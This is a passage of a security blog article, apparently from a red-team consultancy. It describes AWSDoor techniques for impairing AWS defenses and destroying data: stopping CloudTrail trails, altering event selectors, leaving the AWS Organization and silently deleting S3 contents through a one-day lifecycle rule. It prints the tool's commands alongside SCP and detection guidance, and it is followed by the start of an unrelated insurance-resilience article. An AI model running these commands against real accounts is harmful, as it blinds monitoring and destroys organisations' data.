<p style="text-align: justify;"><strong>AWS provides several built-in services designed to monitor activity</strong>, enforce compliance, and alert on suspicious behavior. These include <strong>CloudTrail for API call logging, CloudWatch Logs and CloudWatch Alarms for real-time monitoring</strong> and alerting, GuardDuty for threat detection, Security Hub for centralized security findings, and Config for resource configuration tracking. More advanced <strong>environments may also rely on third-party SIEMs or CSPM platforms</strong> integrated into their AWS accounts.</p>
<p style="text-align: justify;">Disabling or modifying any of these <strong>services can significantly reduce the visibility defenders</strong> have over malicious activity, making defense impairment a critical tactic in many cloud-based attacks.</p>
<p> </p>
<h3 style="text-align: justify;">CloudTrail and CloudWatch</h3>
<h4 style="text-align: justify;">Introduction to AWS logging</h4>
<p style="text-align: justify;"><strong>In AWS environments, CloudTrail and CloudWatch are two core logging and monitoring services </strong>that play complementary roles, but they serve very different purposes. CloudTrail is designed to log all API activity that happens within an AWS Account. It records every call made through the AWS Management Console, AWS CLI, SDKs, and other AWS services. This means when someone creates an EC2 instance, modifies a security group, or deletes a resource, CloudTrail captures the who, when, where, and what of that action. <strong>These logs are essential for auditing, forensic investigations, and tracking changes made across the infrastructure.</strong></p>
<p style="text-align: justify;">CloudWatch, on the other hand, <strong>focuses on operational monitoring</strong>. It collects and stores logs from services and applications, tracks metrics like CPU usage or memory consumption, and supports alarms and dashboards for <strong>real-time visibility</strong>. When an application writes logs or when you want to monitor system performance, CloudWatch is the tool used. It can also be configured to receive and <strong>store logs from Lambda functions, EC2 instances, or custom applications.</strong></p>
<p style="text-align: justify;">Network logging is also proposed by AWS through the VPC Flow Logs or VPC Mirroring services. Even though they can be of use for security purposes, their main utility are more operational monitoring oriented. This article will focus on Cloud Trail service.</p>
<p style="text-align: justify;">CloudTrail is enabled and logs the event for 90 days. This service is a logging baseline that cannot be limited or disabled.  However, additional logging capabilities can be enabled with the definition of trails in CloudTrail.</p>
<p style="text-align: justify;">CloudTrail will keep the log records and guarantee their integrity for a 90 day period, after which the logs are purged from the Event History. If an organization wants to ensure greater retention time or perform a specific real time monitoring based on those logs, it has to configure a <em>trail</em>. This configuration will duplicate the logs and forward them to an S3 bucket, on which can be plugged further security tooling.</p>
<p style="text-align: justify;">As a Cloud administrator, it is possible to create and Organization Trail that will replicate itself in the all the targeted Organization Account. When set, it is not possible for a targeted account to delete / deactivate the trail.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Stop logging</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">While it is not <strong>easily possible to impact the logging capabilities of CloudWatch</strong>, it is possible to impact those of CloudTrail by simply deactivating the logging capability.</p>
<p style="text-align: justify;">This feature <strong>allows to stop a trail from logging the event without deleting it</strong>:</p>
<p> </p>
<figure id="attachment_27432" aria-describedby="caption-attachment-27432" style="width: 850px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27432" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png" alt="Trail with logging capabilities stopped" width="850" height="288" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-768x260.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1.png 1349w" sizes="auto, (max-width: 850px) 100vw, 850px" /><figcaption id="caption-attachment-27432" class="wp-caption-text"><em>Trail with logging capabilities stopped</em></figcaption></figure>
<p> </p>
<p>While this technique is effective to impair specifics logging capabilities, it has severs draws back:</p>
<ul>
<li>limited effect: even though a specific trail will be impacted, Organization Trails cannot be evaded this way. In addition, Event History with its 90 days unalterable retention period will still be available</li>
<li>Noisy action: even if the stopping command is not detected, most SIEM solutions trigger alarms when the log flow stops.</li>
</ul>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop -s<br />[+] Trail logging stopped on 'management-events'</pre>
<p> </p>
<p>The limitation is that this will only deactivate trails defined in the current account and won’t remove trails defined at the organization level.</p>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>On the defender side, this technique can be simply detected by looking at the GUI moreover, CloudTrail also record the StopLogging event hinting that a Trail has been tampered.</p>
<p> </p>
<h4>Event selector</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p>In AWS CloudTrail, <strong>event selectors allow fine-grained control over what types of events a trail records.</strong> These selectors can be configured to log management events, data events, or both. Management events capture operations that manage AWS resources, such as launching an EC2 instance or modifying IAM roles. These are typically high-level API calls made through the console, SDK, or CLI and are critical for auditing administrative actions.</p>
<p>By default, <strong>trails log management events, but users can modify event selectors to exclude them</strong> partially or completely. This flexibility can be useful for reducing noise or cost in environments with heavy automation, but it also introduces a risk. An attacker with the right permissions could tamper with a trail&#8217;s event selectors <strong>to suppress specific types of logs, such as disabling management event</strong> logging, thereby impairing visibility into changes made during or after a compromise.</p>
<p>Therefore, by altering event selectors it is <strong>possible to degrade the CloudTrail logging capabilities</strong>, making it harder for defenders to detect unauthorized activity or investigate incidents.</p>
<p>The management event can be simply deactivated. For the data event, in order to avoid having blank field on the GUI it is possible to enforce the event selector configuration to only log event related to a none-existing resource:</p>
<p> </p>
<figure id="attachment_27434" aria-describedby="caption-attachment-27434" style="width: 790px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27434" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png" alt="Logging event from a non existing resource" width="790" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-768x385.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-800x400.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1.png 1184w" sizes="auto, (max-width: 790px) 100vw, 790px" /><figcaption id="caption-attachment-27434" class="wp-caption-text"><em>Logging event from a non existing resource</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>AWSDoor can be used to <strong>reconfigure the event selector</strong> in order to prevent data and management event logging:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop<br />[+] Adding event selector on management-events<br />[+] Management events disabled on trail 'management-events'</pre>
<p> </p>
<p>Once the script is run, <strong>the event selector is configured. The trail still appears as active</strong>:</p>
<p> </p>
<figure id="attachment_27436" aria-describedby="caption-attachment-27436" style="width: 807px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27436" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png" alt="Trail still considered as active" width="807" height="251" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-768x238.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1.png 1192w" sizes="auto, (max-width: 807px) 100vw, 807px" /><figcaption id="caption-attachment-27436" class="wp-caption-text"><em>Trail still considered as active</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">However, <strong>the event selector prevents further event</strong> logging:</p>
<p> </p>
<figure id="attachment_27438" aria-describedby="caption-attachment-27438" style="width: 1120px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27438" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png" alt="Event selector preventing logging" width="1120" height="764" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png 280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-768x525.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word.png 1247w" sizes="auto, (max-width: 1120px) 100vw, 1120px" /><figcaption id="caption-attachment-27438" class="wp-caption-text"><em>Event selector preventing logging</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>The creation of the event selector can be detected using the PutEventSelector event logged in CloudTrail:</p>
<p> </p>
<figure id="attachment_27440" aria-describedby="caption-attachment-27440" style="width: 779px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27440" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png" alt="Event logged by CloudTrail" width="779" height="936" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png 159w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-33x39.png 33w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-768x922.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1.png 880w" sizes="auto, (max-width: 779px) 100vw, 779px" /><figcaption id="caption-attachment-27440" class="wp-caption-text"><em>Event logged by CloudTrail</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Likewise, the analysis of the log collection and the volumetry would be an interesting IOC. If the log flow stopped, it is likely due to an attack.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Destruction</h2>
<p style="text-align: justify;">Attacks focused on data destruction are designed to <strong>cause important operational damage by permanently erasing or corrupting critical information and infrastructure</strong>. Unlike data exfiltration or privilege escalation, these attacks don’t aim to extract value or maintain access, but rather to disrupt business continuity, damage reputation, or sabotage systems beyond recovery.</p>
<p style="text-align: justify;">In cloud environments like AWS, <strong>destructive attacks can impact all types of resources</strong>, including storage resources, computing resources or configuration components like IAM roles and Lambda functions:</p>
<ul style="text-align: justify;">
<li><strong>Deleting S3 buckets</strong> can lead to the loss of backups, customer data, or reglementary / technical information (logging).</li>
<li><strong>Erasing EBS volumes or RDS snapshots</strong> can lead to total loss of application state or critical databases.</li>
<li>Formatting the AWS Account (by deleting all the possible services) can lead to a very long service interruption, even if the data are externally backup, especially if the infrastructure is not deployed through IaC, or if the IaC is destroyed as well.</li>
</ul>
<h2> </h2>
<h3 style="text-align: justify;">AWS Organization Leave</h3>
<h4 style="text-align: justify;">Organization Leave</h4>
<p style="text-align: justify;">AWS Organizations <strong>is a service that allows you to centrally manage and govern multiple AWS accounts</strong> from a single location. At the top of the hierarchy is the Organization service nested one management account (called the payer / master / management account) and one or more member accounts. These accounts can be grouped into organizational units, making it easier to apply policies or manage backup at scale.</p>
<p style="text-align: justify;">Each AWS account <strong>in an organization remains isolated in terms of resources and identity</strong>, but the organization can enforce policies such as Service Control Policies (SCPs) across all accounts that will enforce specific limitation on all accounts as a GPO does on a Windows domain. <strong>This structure is particularly useful for separating data and workloads</strong> by team, environment, or business unit while maintaining centralized governance.</p>
<p style="text-align: justify;">AWS also allows you to invite or attach an existing standalone account into an organization. This process can be initiated from the management account and requires the invited account to accept the request. Similarly, accounts can be detached and moved to another organization, though this action comes with restrictions. For example, certain AWS services or features may behave differently once an account is part of an organization, especially in terms of consolidated billing and policy enforcement. This capability can be useful for mergers, restructurings, or account lifecycle management but also opens up a possible attack vector if not closely monitored.</p>
<p> </p>
<figure id="attachment_27444" aria-describedby="caption-attachment-27444" style="width: 857px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27444" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png" alt="Exemple of AWS Organization" width="857" height="496" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-768x444.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1.png 1223w" sizes="auto, (max-width: 857px) 100vw, 857px" /><figcaption id="caption-attachment-27444" class="wp-caption-text"><em>Exemple of AWS Organization</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">While the LeaveOrganization is a destructive operation, it can be also used to exfiltrate data before destruction. Instead of erasing all resources in a compromised AWS account, an attacker may choose to detach the account from the organization, retain all infrastructure intact, and slowly exfiltrate sensitive data.</p>
<p style="text-align: justify;">For example, a company is <strong>hosting a eShop application on AWS</strong>. The attacker who has compromised the AWS account uses the LeaveOrganization action to retrieve control over the eShop resource. This action removes the account from centralized control, effectively stripping away any Service Control Policies, centralized logging, or governance mechanisms previously enforced by the organization without impacting its availability.</p>
<p style="text-align: justify;">With full <strong>control over this now standalone account, the attacker can operate without oversight</strong>. The eShop continues functioning normally, serving customers and processing orders, but behind the scenes, the attacker has unrestricted access to all associated resources. They can read from S3 buckets, query the customer database, extract payment data, and silently exfiltrate banking information and personal details of every user without interrupting the service or triggering operational alarms.</p>
<p style="text-align: justify;">From the company’s perspective, <strong>once the account has left the AWS Organization, the security team loses visibility and administrative authority over it</strong>. They cannot easily shut down the impacted resources directly from their AWS account.</p>
<p> </p>
<figure id="attachment_27446" aria-describedby="caption-attachment-27446" style="width: 920px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27446" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png" alt="Impact of AWS Organization leave" width="920" height="582" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-768x485.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1.png 1226w" sizes="auto, (max-width: 920px) 100vw, 920px" /><figcaption id="caption-attachment-27446" class="wp-caption-text"><em>Impact of AWS Organization leave</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Without admin access to the now-isolated account, <strong>the company has no way to disable services</strong>, suspend billing, or terminate the compromised infrastructure. This gives the attacker complete operational freedom, while the organization is left blind and unable to respond but request AWS Support.</p>
<p> </p>
<h4 style="text-align: justify;">Privileges needed</h4>
<p style="text-align: justify;">To execute the LeaveOrganization action and <strong>detach an AWS account from its organization</strong>, the attacker must possess <strong>elevated permissions within the targeted account</strong>. Specifically, the following conditions and IAM privileges are required:</p>
<ul style="text-align: justify;">
<li><strong>Account-Level Access</strong>: The attacker must have direct access to the member account they intend to detach. This means they must already be authenticated within that specific AWS account — either through stolen credentials, session tokens, or by exploiting vulnerable IAM roles or policies.</li>
<li><strong>organizations:LeaveOrganization Permission</strong>: This is the key IAM permission required to invoke the LeaveOrganization API call. It must be explicitly allowed in the attacker&#8217;s effective permissions. This action is only valid when executed from within the member account, not from the management account.</li>
<li><strong>Billing Access</strong> Although not strictly required to leave an organization, attackers with access to billing and account settings (via aws-portal:*, account:*, or billing:* actions) can further entrench themselves, update contact information, or lock out legitimate users after detachment. In addition most accounts created within an Organization are done so without payment details (because they inherits those from the payer account). However, for an account to be detached / standalone, it has to have this information filled.</li>
</ul>
<p> </p>
<h4 style="text-align: justify;">Defense and detection</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Preventing Unauthorized LeaveOrganization Calls</span></h5>
<p style="text-align: justify;">The most effective control is the use of<strong> Service Control Policies (SCPs).</strong> SCPs define the maximum permissions available to accounts within an AWS Organization and can explicitly deny the organizations:LeaveOrganization action, even if a local IAM user or role has been granted that permission.</p>
<p style="text-align: justify;">The LeaveOrganization operation is executed from within the member account itself, not by the management account. It means that an attacker does not need to fully compromise the AWS organization to perform the account detachment.</p>
<p style="text-align: justify;">The SCP, <strong>defined at the organization level, can prevent any user in the accounts to leave the organization</strong>. In this case, the attacker must first compromise the whole AWS organization before being able to perform the attack.</p>
<p style="text-align: justify;">The following policy will prevent any misuse of LeaveOrganization:</p>
<p> </p>
<pre style="text-align: justify;">{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "DenyLeaveOrganization",<br />      "Effect": "Deny",<br />      "Action": "organizations:LeaveOrganization",<br />      "Resource": "*"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">This SCP should <strong>be attached directly at the root of the AWS</strong> <strong>Organization</strong> to ensure it applies to all member accounts. It ensures that no account can unilaterally leave the organization, even if compromised.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Detection and Monitoring</span></h5>
<p style="text-align: justify;">Even with SCPs in place, <strong>monitoring for LeaveOrganization attempts is essential for defense-in-depth</strong>. Indeed, even if the LeaveOrganization failed due to the SCP, having monitoring on the LeaveOrganization event could help detect the attack occurring on the AWS environment.</p>
<p style="text-align: justify;">For example, a CloudWatch Alarms to trigger alerts when the event LeaveOrganization or DisablePolicyType.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">S3 destruction</h3>
<h4 style="text-align: justify;">S3 standard deletion policy</h4>
<p style="text-align: justify;"><strong>Amazon S3 is one of the most widely used and trusted storage services</strong> within the AWS ecosystem. Organizations rely on it to store everything from logs and files to critical business data and backups. The destruction of S3 data can have far greater impact than the loss of a few compute resources, making it a high-value target for attackers.</p>
<p style="text-align: justify;">While uploading and storing data in S3 is straightforward, deleting large volumes of data is intentionally resource-intensive and time-consuming. When an S3 bucket is deleted or cleared, AWS performs a recursive, sequential deletion of every object meaning the process can take hours or days for large environments.</p>
<p style="text-align: justify;"><strong>Additionally, AWS enforces eventual consistency</strong> on object deletions, so even after a delete request, <strong>objects may temporarily persist</strong>. These design choices provide defenders with a crucial time window to detect and respond to deletion attempts before irreversible data loss occurs.</p>
<p> </p>
<h4 style="text-align: justify;">Lifecycle policy</h4>
<p style="text-align: justify;">Amazon S3 Lifecycle Policies provide an automated mechanism to <strong>manage the storage lifecycle</strong> of objects within a bucket. These policies allow users to define rules that transition objects to different storage classes or <strong>expire (delete) them after a defined period, based on criteria like object age</strong>, prefix, or tags. This automation helps organizations optimize storage costs and enforce data retention policies without manual intervention.</p>
<p style="text-align: justify;">However, <strong>lifecycle policies operate differently from manual processes</strong> and <strong>bypass the standard safeguards</strong> designed to slow mass deletions. An attacker who gains elevated privileges in an AWS account can create or modify a lifecycle policy that sets object expiration to the minimum allowed duration (1 day). <strong>Once applied, this policy is retroactive</strong>: all existing objects in the bucket will be marked for expiration and scheduled for removal, and all newly created objects will expire shortly after creation.</p>
<p style="text-align: justify;"><strong>Unlike manual deletions, lifecycle expirations are handled internally by AWS</strong> at scale and complete much faster. This can enable stealthy, rapid mass deletion of bucket contents without generating the volume of API calls or operational noise typical of manual recursive deletes. Since lifecycle policy changes may not trigger immediate or obvious alerts, such abuse poses a significant risk for undetected data destruction within AWS environments.</p>
<p style="text-align: justify;">As <strong>lifecycle</strong> <strong>policies are applied on a daily basis, the defender will have less than a day to detect the policy</strong> change, remove the deletion mark and revoke the attacker access.</p>
<p> </p>
<h4 style="text-align: justify;">AWSDoor</h4>
<p style="text-align: justify;">This technique is implemented on AWSDoor:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py --m S3ShadowDelete -n s3bucketname</pre>
<p> </p>
<h4 style="text-align: justify;">Detection</h4>
<p style="text-align: justify;">Detection of shadow deletions through S3 Lifecycle Policies can be easily missed because the deletion of objects via lifecycle expiration does not raise standard DeleteObject events in CloudTrail as manual deletions do.</p>
<p style="text-align: justify;">Instead, AWS internally handles the deletion process asynchronously, and it does not attribute the deletions to a specific user or role. Therefore, many security monitoring setups fail to recognize this as a malicious action aiming to impact data availability. <strong>The only reliable indicator of such an operation is the PutBucketLifecycleConfiguration API event</strong>, which logs the creation or update of a lifecycle rule by defining a new Expiration parameter.</p>
<p style="text-align: justify;">To detect potential abuse, a CloudWatch rule should be configured to monitor PutBucketLifecycleConfiguration events and automatically inspect the new policy configuration. If the policy includes an Expiration action set to the minimum allowed (1 day) or applies broadly to all objects this should be treated as a high-risk change.</p>
<p style="text-align: justify;">In sensitive environments, such configuration changes should trigger immediate alerts, <strong>automatic remediation</strong> and require manual approval. Since this method bypasses the typical audit trail of object-level deletes, early detection at the configuration level is essential to prevent silent and large-scale data loss: the defense team will only have one day to react.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Conclusion</h2>
<h3 style="text-align: justify;">CSPM</h3>
<p style="text-align: justify;">The article has shown how IAM configurations can be silently abused to maintain long-term access in AWS environments. Techniques such as AccessKey injection, trust policy backdooring, and the use of NotAction policies allow attackers to persist without deploying malware or triggering alarms.</p>
<p style="text-align: justify;">A Cloud Security Posture Management (CSPM) solution plays a key role in preventing these abuses. By continuously monitoring IAM configurations, detecting overly permissive policies, and identifying deviations from compliance baselines, a CSPM can surface suspicious changes early. For example, it can flag the creation of new AccessKeys on users who typically use SSO, or detect trust relationships established with external accounts. These capabilities help prevent IAM-based persistence from becoming entrenched.</p>
<p> </p>
<h3 style="text-align: justify;">EDR</h3>
<p style="text-align: justify;">Beyond IAM, attackers can leverage AWS resources themselves—such as Lambda functions and EC2 instances—to maintain access. The article detailed how poisoned Lambda layers, over-privileged roles, and SSM-based reverse tunnels can be used to persist without modifying IAM directly.</p>
<p style="text-align: justify;">A Cloud EDR complements CSPM by focusing on runtime behavior and execution context. It can detect unusual Lambda executions, unexpected API Gateway exposures, or EC2 instances initiating outbound tunnels. By correlating these behaviors with identity context and recent configuration changes, a Cloud EDR can surface persistence techniques that would otherwise go unnoticed. This behavioral visibility is essential to detect resource-based persistence in real time.</p>
<p> </p>
<h3 style="text-align: justify;">Backup and logging</h3>
<p style="text-align: justify;">Finally, the article explored how attackers can impair visibility and recovery by targeting logging and backup mechanisms. Disabling CloudTrail, modifying event selectors, deploying lifecycle policies for silent S3 deletion, or detaching accounts from AWS Organizations are all techniques that reduce oversight and enable long-term compromise or destruction.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Here again, CSPM and EDR provide complementary defenses. A CSPM can detect misconfigurations in logging pipelines, unauthorized lifecycle policy changes, or attempts to leave the organization. Meanwhile, a Cloud EDR can detect the absence of expected telemetry, sudden drops in log volume, or destructive API calls. Together, they ensure that visibility and recovery capabilities remain intact—even under active attack.</p>


<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Resilience by design: strategic imperatives for UK General &#038; Reinsurance Insurers (2025 – 2030)</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/09/resilience-by-design-strategic-imperatives-for-uk-general-reinsurance-insurers-2025-2030/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/09/resilience-by-design-strategic-imperatives-for-uk-general-reinsurance-insurers-2025-2030/#respond</comments>
		
		<dc:creator><![CDATA[Suman Dogra Gaur]]></dc:creator>
		<pubDate>Wed, 03 Sep 2025 06:19:22 +0000</pubDate>
				<category><![CDATA[Cyberrisk Management & Strategy]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Compliance]]></category>
		<category><![CDATA[cyber strategy]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[general insurers]]></category>
		<category><![CDATA[Operational Resilience]]></category>
		<category><![CDATA[reinsurance insurers]]></category>
		<category><![CDATA[Resilience by design]]></category>
		<category><![CDATA[risk management]]></category>
		<category><![CDATA[UK]]></category>
		<category><![CDATA[unified resilience approach]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27036</guid>

					<description><![CDATA[<p>The UK insurance and reinsurance industry is navigating a period of rapid transformation, marked by regulatory reform, accelerating cyber threats, and shifting macroeconomic conditions. With a combined market valuation of £74.6 billion and forecasted earnings growth of 18% annually, the...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/resilience-by-design-strategic-imperatives-for-uk-general-reinsurance-insurers-2025-2030/">Resilience by design: strategic imperatives for UK General &amp; Reinsurance Insurers (2025 – 2030)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">The UK insurance and reinsurance industry is navigating a period of rapid transformation, marked by regulatory reform, accelerating cyber threats, and shifting macroeconomic conditions. With a combined market valuation of £74.6 billion and forecasted earnings growth of 18% annually, the sector remains resilient despite global volatility, reflecting strong investor sentiment and long-term growth confidence. With this, the UK regulators continue to sharpen their focus on operational resilience, urging financial institutions to fortify themselves against cyber disruption and systemic vulnerabilities.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-27048" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/picture1-1.png" alt="Operational resilience landscape will continue to rapidly evolve" width="692" height="370" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/picture1-1.png 692w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/picture1-1-357x191.png 357w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/picture1-1-71x39.png 71w" sizes="auto, (max-width: 692px) 100vw, 692px" /></p>
<p style="text-align: justify;">In recent years, regulators have consistently urged insurers to adopt holistic strategies that extend far beyond traditional disaster recovery—embedding resilience throughout business operations and the entire software development lifecycle.</p>
<p style="text-align: justify;">This paper aims to offer a comprehensive perspective on resilience, bringing together operational continuity, cyber defence, and third-party risk management. It can serve as a strategic guide for CxOs, outlining how to identify the Minimum Viable Company (MVC), market insights into sector-wide impact tolerance, and anticipate the evolving landscape of regulatory and cyber resilience through 2030.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-27043" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image2.png" alt="comprehensive perspective on resilience" width="607" height="558" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image2.png 607w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image2-208x191.png 208w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image2-42x39.png 42w" sizes="auto, (max-width: 607px) 100vw, 607px" /></p>
<p style="text-align: justify;"> </p>
<p> </p>
<h2><strong>Minimum Viable Company (MVC) framework</strong></h2>
<p style="text-align: justify;">The FCA’s Operational Resilience Policy Statement (PS21/3) challenges insurers to pinpoint their Important Business Services (IBS) and develop strategies for maintaining these during severe disruptions. Though MVC is not named explicitly in PS21/3 (FCA’s Policy Statement on Building Operational Resilience, published in March 2021) organizations are advised to define their “minimum operational footprint,” closely aligning with MVC principles.</p>
<p style="text-align: justify;">Think of the MVC as your organisation’s lifeline: those indispensable services, processes, technologies, and teams that maintain trust and financial stability, even when everything else must be paused.</p>
<p style="text-align: justify;">Most organizations keep their MVC lean, just 15–17% of total business activity, backed by robust lists of mission-critical applications, core infrastructure, key data, and vital third-party relationships. This isn’t just compliance: it’s about identifying a modular, scalable foundation that lets your business isolate issues, recover fast, and keep delivering during systemic risks.</p>
